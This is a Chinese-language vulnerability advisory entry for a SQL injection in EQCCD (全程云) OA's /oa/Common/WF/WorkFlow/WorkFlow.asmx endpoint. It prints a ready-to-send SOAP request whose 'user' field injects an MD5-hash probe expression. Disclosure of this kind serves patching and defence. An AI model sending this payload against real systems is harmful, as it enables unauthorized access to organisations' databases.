全程云OA /oa/Common/WF/WorkFlow/WorkFlow.asmx SQL 注入漏洞

2026-05-09 全程云OA PoC Public

Description

全程云OA（EQCCD OA）是东莞市全程云信息技术有限公司开发的一套面向企事业单位的协同办公自动化系统，涵盖工作流管理、公文管理、人事管理、行政审批、知识管理等核心业务模块，支持多部门、多角色的复杂审批流程和业务协同，采用.NET技术架构，基于IIS部署和SQL Server数据库，广泛应用于政府机关、教育机构、企业集团等各类组织的日常办公和信息化管理。全程云OA /oa/Common/WF/WorkFlow/WorkFlow.asmx 接口存在SQL注入漏洞，攻击者可获取数据库敏感信息。

PoC

POST /oa/Common/WF/WorkFlow/WorkFlow.asmx HTTP/1.1
Host: 
Content-Type: text/xml
Content-Length: 470
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Soapaction: "http://tempuri.org/GetExecutor"
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetExecutor xmlns="http://tempuri.org/">
      <org>1</org>
      <dept>1</dept>
      <pos>1</pos>
      <role>1</role>
      <user>sys.fn_sqlvarbasetostr(HashBytes('MD5','vymsbmzs'))</user>
    </GetExecutor>
  </soap:Body>
</soap:Envelope>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# EQCCD OA /oa/Common/WF/WorkFlow/WorkFlow.asmx SQL Injection Vulnerability

References

Related Vulnerabilities